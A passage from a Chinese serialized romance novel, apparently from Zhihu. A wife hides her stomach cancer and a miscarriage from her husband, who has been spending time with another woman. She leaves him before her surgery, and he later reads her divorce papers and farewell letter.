大步走过来,猛的抱住我。「老婆,你回来了,怎么没给我打电话,我去接你。」程潜把我抱得很紧,他又问我:「手机没电了吗?我一直给你打电话。」我轻轻地挣脱开程潜的拥抱,往后退了几步。「我没事儿,手机静音没听到。」我说话的时候有些胃痛。程潜盯着我说道:「怎么拿着猫包呢,要带饭饭出门吗?」「嗯,我这次要出差很久,你又太忙,我把饭饭带给嘉美照顾一阵子。」我避开他的眼神。「饭饭!」我提高声音喊了一下。饭饭一下子就从我的房间冲出来,它激动的跳到我的怀里,不停的舔我。「好了好了,乖乖。」我一下子被它逗笑了,撸着它的小脑袋。半个月没见到程潜了,我以为再见的时候,我会压抑不住内心的情绪,会痛苦,会质问他,会把关于乔语所有的事情摊开说。可是回到家,见到程潜,我却发现很多事情都不重要了。程潜跟乔语接过吻,不重要了。程潜心里是不是还有乔语,也不重要了。因为在我的心里,程潜,不再重要。我已经从爱程潜的茧房钻了出去,彻彻底底要飞走了。「老婆,你脸色很不好,是不是身体不舒服。」程潜过来搂着我的肩膀,低声说道:「你之前给我发消息,说胃不舒服,去检查过吗?要不然跟嘉美说,换个人去出差吧。」胃不舒服?我愣了一下,我跟程潜提过这件事情吗,我居然没什么印象。「还好。」我避开程潜的手,打算去收拾一些必要的东西,还要带上饭饭最爱的小海豚。程潜却一把攥住我的胳膊,强迫我看着他。「怎么了?」我看着他,不知道程潜为什么这么用力的拉着我。程潜像是压抑着什么情绪,胸口起伏了一下,这才说道:「知蕴,我总觉得你这次出差回来,有些变了,我们需要谈谈。」我忍不住笑道:「是变了,变得不爱你了。」「乔知蕴!」程潜声音一下子就提高了,脸色沉沉的说道:「不管你在生什么气,我们都可以谈谈,但是这种玩笑话,以后别再说了。」我觉得程潜这个逻辑好奇怪啊,为什么不爱,就必须是玩笑话。难道程潜觉得,我这辈子一定会一直爱着他?我胃更疼了,不想跟他纠缠。程潜的手机忽然响起来,他犹豫了一下接了。「程潜!我流了好多血,我好害怕啊!」乔语的哭声从电话里传出来,程潜脸色一下子就变了。「知蕴,我有急事,你就在家里,等我回来!」程潜匆忙要出门。「程潜!」我开口叫住他。程潜扭头看我。我问他:「是哪个朋友出事了吗?」程潜拧门把手的动作微微一顿,飞快的嗯了一声出门了。我看着紧闭的门。一如我紧闭的心门。程潜,就不跟你说再见了。因为我们此生,不会再见了。10离开那天,我胃疼到直不起腰,吐了血。饭饭吓得不停的用头拱着我,我用仅剩的力气给宋医生打了电话。我的病情,恶化了。宋医生提前了手术时间。「宋医生,拜托你把饭饭送给我的好朋友照顾。」「宋医生,我床头的桌子里有两封信,请你帮我寄出去。」「宋医生,谢谢你喜欢我啊,我挺开心的,我很喜欢被人喜欢。」那天,我说了很多很多话,怕有些话再不说,就没机会了。「乔知蕴,饭饭你病好以后自己照顾。」「信,我会寄出去,不要担心。」「我喜欢你,可以更开心一点,因为已经喜欢了你四年。」我被推进了手术室。无影灯照在我的眼睛上,我最后看到的是宋医生的眼睛宋医生,忘了告诉你,你的眼睛真漂亮,要是能多笑一笑就好了。11从知蕴出差以后,我就隐约察觉到有些事情不对劲了。她从前出差的时候,总会给我分享当地的美食,美景。可是这一次出去,她没有给我发过一条消息。最新一条,是她说:「老公,最近总觉得胃不舒服,你什么时候能回来啊?」这已经是两个多月前的消息了。那个时候,我在乔语身边,帮她办理离婚手续。她前夫非常强势,乔语在那个城市孤立无援,我只能去帮她。可是面对知蕴的时候,我不知道为什么,只是告诉她去见个客户。她帮我整理着行李,「那边比我们这儿温差大,你注意点不要感冒。工作到很晚的话,就去睡一会儿,不要喝咖啡硬撑,不然第二天醒来你会头疼的。」知蕴说话永远是温柔的,轻缓的。她做事有条不紊,嘱咐不紧不慢,却恰到好处。那晚,我跟她说不如试试,要个孩子吧。她勾着我的脖子,白皙的脸上浮现一丝丝的红晕,很漂亮。我去见了乔语,她还是像从前一样张扬明丽,见了我一拳锤到我胸口,笑着喊我姐夫。我当时就觉得不太舒服,让她喊我的名字。乔语的事情远比我想象的麻烦,我停留了半个多月才回去。回去之后,乔语没地方住,想跟我回家里。正好那段时间知蕴出差了,我就让乔语住在了次卧。我以为,在知蕴回来之前,处理好乔语的事情。我们还能像从前一样。可是,我没有机会了。从我看到家里那个监控摄像头的时候,我就知道没机会了。那天,我匆忙把乔语送到医院,赶回了家。门口的地板上有一团血迹,门还敞开着。我整个人的力气一刹那就被抽空了,胸口沉闷的喘不上气。脑海中幻想出许多恐怖的画面,每个画面都有知蕴向我求救的声音。那封信,就是在这个时候送到的。快递员站在家门口,迟疑的问我,要不要帮我叫医生。我接过了那封信,拆开了。薄薄的一封,离婚协议书,还有知蕴写给我的信。「程潜,当你收到这封信的时候,我可能已经不在人世了。不过宋医生说,有他在,我不会死,我也想怀揣着希望,迎接着属于我的新生。很抱歉用这样的方式告知你,我们曾经有个孩子。那个孩子只有两个月,我确诊了胃癌,没能留住 ta。做手术那晚,我做了个梦。梦到一个小天使朝着我挥手,醒来的时候觉得很幸福又觉得很难过。其实你跟 ta 也算是见过一面的,那晚你跟乔语就在我隔壁病房。我被医生推着出来的时候,不小心撞到了你。」我反反复复的看这几行字,看着看着,字迹忽然就模糊了。原来,那晚在医院忽然的心悸,是孩子在提醒我去看看知蕴。可我没有追过去看看,知蕴还有那个孩子,跟我擦肩而过。原来,知蕴那个时候给我发消息,是想告诉我怀孕的事情。她居然得了胃癌,难怪那天见到她,她的脸色那么不好看。在这个家,知蕴只带走了饭饭。她在乎的,也只有饭饭了。「程潜,跟你结婚这三年,我过得很幸福,没有任何遗憾。你拿到第一笔诉讼费的时候,就给我买了两克拉的钻戒,抱着我说,往后要是落魄了还能卖掉钻戒。你当时脸上的笑容,我永远都记得。」钻戒,就留在那摊血迹的边上。知蕴在吐血的之后,都没有忘记把戒指摘下来还给我。
3347 点赞 · 112 评论 · 盐选推荐
评论 1
写评论
旋蓬
简直跟我的遭遇一模一样
2019-01-20
https://zhuanlan.zhihu.com/p/49098556?utm_id=0